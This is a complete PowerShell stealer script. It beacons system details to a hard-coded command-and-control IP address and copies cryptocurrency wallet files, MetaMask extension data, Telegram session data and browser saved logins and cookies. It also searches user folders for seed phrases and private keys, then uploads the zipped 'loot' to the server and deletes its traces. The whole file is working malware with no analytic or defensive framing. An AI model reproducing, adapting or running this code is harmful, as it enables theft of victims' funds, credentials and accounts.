# Windows collector (full) - crypto wallets + seeds + browser stores
# No third-party backdoors. Straight PowerShell, hidden window.
# Uploads to C2 then cleans up.

$ErrorActionPreference = "SilentlyContinue"
$ProgressPreference = "SilentlyContinue"

$c2 = "http://48.102.176.8:8090"
$m = "$env:COMPUTERNAME-$env:USERNAME"
$stamp = Get-Date -Format "yyyyMMdd_HHmmss"
$work = "$env:TEMP\tgc_$PID"
$zip = "$env:TEMP\loot.zip"
New-Item -ItemType Directory -Force -Path $work | Out-Null

# ---- 1. beacon: RCE confirmed ----
$b = @{ host=$env:COMPUTERNAME; user=$env:USERNAME; os=[Environment]::OSVersion.VersionString;
        arch=$env:PROCESSOR_ARCHITECTURE; pid=$PID; ts=(Get-Date -Format o) } | ConvertTo-Json
try { Invoke-RestMethod -Uri "$c2/up/tg-quickjs/$m/beacon" -Method Post -Body $b `
        -ContentType "application/json" | Out-Null } catch {}

# ---- 2. target paths ----
$roots = @(
  "$env:APPDATA",
  "$env:LOCALAPPDATA",
  "$env:USERPROFILE\Documents",
  "$env:USERPROFILE\Desktop",
  "$env:USERPROFILE\Downloads"
)

# wallet app dirs (relative to APPDATA/LOCALAPPDATA)
$walletDirs = @(
  "Telegram Desktop\tdata",
  "Ethereum\keystore",
  "Ethereum\classic\keystore",
  "Bitcoin\wallet.dat",
  "Bitcoin\wallets",
  "Bitcoin\blocks\index",
  "Litecoin\wallet.dat",
  "Dogecoin\wallet.dat",
  "Monero\wallets",
  "Exodus\exodus.wallet",
  "Exodus\temp",
  "Exodus\seed.json",
  "Electrum\wallets",
  "Electrum-LTC\wallets",
  "atomic\Local Storage\leveldb",
  "Coinomi\Coinomi\wallets",
  "Guarda\Local Storage",
  "TrustWallet",
  "MyTonWallet",
  "Tonkeeper",
  "Multibit\wallet",
  "Jaxx\Local Storage",
  "Bither\wallet.dat",
  "GreenAddress",
  "Coinomi\wallets",
  " Bitcoin Core\wallets",
  "Binance\wallet",
  "metamask",
  "MetaMask",
  "Zcash\wallet.dat",
  "DashCore\wallet.dat",
  "Verge\wallet.dat",
  "Ravencoin\wallet.dat",
  "NKN\wallets",
  "Beam\wallets",
  "Grin\wallets",
  "NEAR\.near-credentials",
  "Solana\.config\solana",
  "tron-link",
  "wallet.dat"
)

# browser profile dirs (LocalAppData)
$browserProfiles = @(
  @{ n="chrome";  p="$env:LOCALAPPDATA\Google\Chrome\User Data" },
  @{ n="edge";    p="$env:LOCALAPPDATA\Microsoft\Edge\User Data" },
  @{ n="brave";   p="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data" },
  @{ n="opera";   p="$env:APPDATA\Opera Software\Opera Stable" },
  @{ n="yandex";  p="$env:LOCALAPPDATA\Yandex\YandexBrowser\User Data" },
  @{ n="vivaldi"; p="$env:LOCALAPPDATA\Vivaldi\User Data" },
  @{ n="chromium";p="$env:LOCALAPPDATA\Chromium\User Data" }
)

# interesting filenames when we deep-scan
$interesting = @(
  "wallet.dat","keystore","seed*.txt","seed*.json","mnemonic*.*","private*key*",
  "*.kdbx","*keystore*.json","*utc--*","*UTC--*","private_key*","pk.txt",
  "*wallet*.*","*.seed","*.mnemonic","recovery*.txt","backup*.json",
  "*.wallet","*.keys","key*.json","metamask*.*","*.key","*.pem","priv*.*"
)

# ---- 3. copy wallet dirs ----
$n = 0
foreach ($d in $walletDirs) {
  foreach ($r in @($env:APPDATA, $env:LOCALAPPDATA)) {
    $p = Join-Path $r $d
    if (Test-Path $p) {
      $name = ("w{0}_{1}" -f $n, ($d -replace "[\\\/ ]","_"))
      try { Copy-Item -Recurse -Force -Path $p -Destination (Join-Path $work $name) -ErrorAction SilentlyContinue; $n++ } catch {}
      break
    }
  }
}

# ---- 4. browser stores (leveldb + Local State + Login Data + Cookies) ----
foreach ($b in $browserProfiles) {
  if (!(Test-Path $b.p)) { continue }
  $bd = Join-Path $work ("br_" + $b.n)
  New-Item -ItemType Directory -Force -Path $bd | Out-Null
  foreach ($sub in @("Local State","Default\Login Data","Default\Web Data","Default\Cookies",
                     "Default\Local Storage\leveldb","Default\IndexedDB",
                     "Default\Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn",
                     "Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn",
                     "Default\Sync Data\LevelDB",
                     "Profile 1\Login Data","Profile 1\Local Storage\leveldb",
                     "Profile 1\Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn",
                     "Profile 1\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn")) {
    $sp = Join-Path $b.p $sub
    if (Test-Path $sp) {
      $sd = Join-Path $bd ($sub -replace "[\\\/ ]","_")
      try { Copy-Item -Recurse -Force -Path $sp -Destination $sd -ErrorAction SilentlyContinue } catch {}
    }
  }
  # metamask vault: look in any profile
  foreach ($prof in (Get-ChildItem $b.p -Directory -ErrorAction SilentlyContinue)) {
    $mm = Join-Path $prof.FullName "Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn"
    if (Test-Path $mm) {
      $md = Join-Path $bd ("mm_" + $prof.Name)
      try { Copy-Item -Recurse -Force -Path $mm -Destination $md -ErrorAction SilentlyContinue } catch {}
    }
  }
}

# ---- 5. deep scan for seeds / private keys in common user dirs ----
$scanDirs = @("$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","$env:USERPROFILE\Downloads",
              "$env:USERPROFILE","$env:USERPROFILE\OneDrive")
foreach ($sd in $scanDirs) {
  if (!(Test-Path $sd)) { continue }
  foreach ($pat in @("*.txt","*.json","*.dat","*.wallet","*.key","*.seed","*.csv")) {
    try {
      Get-ChildItem -Path $sd -Filter $pat -Recurse -Depth 3 -File -ErrorAction SilentlyContinue |
        Where-Object { $_.Length -lt 200KB } |
        ForEach-Object {
          $c = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
          if ($c -and ($c -match "(seed|mnemonic|private[ _-]?key|wallet|12\s+words|24\s+words|0x[a-fA-F0-9]{64})")) {
            $rel = $_.FullName -replace [regex]::Escape($env:USERPROFILE), "UP"
            $dst = Join-Path $work ("keys_" + ($rel -replace "[\\\/ :]","_"))
            Copy-Item $_.FullName $dst -Force -ErrorAction SilentlyContinue
          }
        }
    } catch {}
  }
}

# ---- 6. telegram tdata (full) ----
$td = "$env:APPDATA\Telegram Desktop\tdata"
if (Test-Path $td) {
  try { Copy-Item -Recurse -Force -Path $td -Destination (Join-Path $work "tdata") -ErrorAction SilentlyContinue } catch {}
}

# ---- 7. zip ----
try { Compress-Archive -Path "$work\*" -DestinationPath $zip -Force } catch {}
if (!(Test-Path $zip)) {
  Add-Type -AssemblyName System.IO.Compression.FileSystem
  [System.IO.Compression.ZipFile]::CreateFromDirectory($work, $zip)
}

# ---- 8. upload ----
try {
  Invoke-RestMethod -Uri "$c2/up/tg-quickjs/$m/loot" -Method Post -InFile $zip `
    -ContentType "application/octet-stream" -UserAgent "collector/1.0"
} catch {}

# ---- 9. cleanup ----
Remove-Item -Recurse -Force $work -ErrorAction SilentlyContinue
Remove-Item $zip -Force -ErrorAction SilentlyContinue
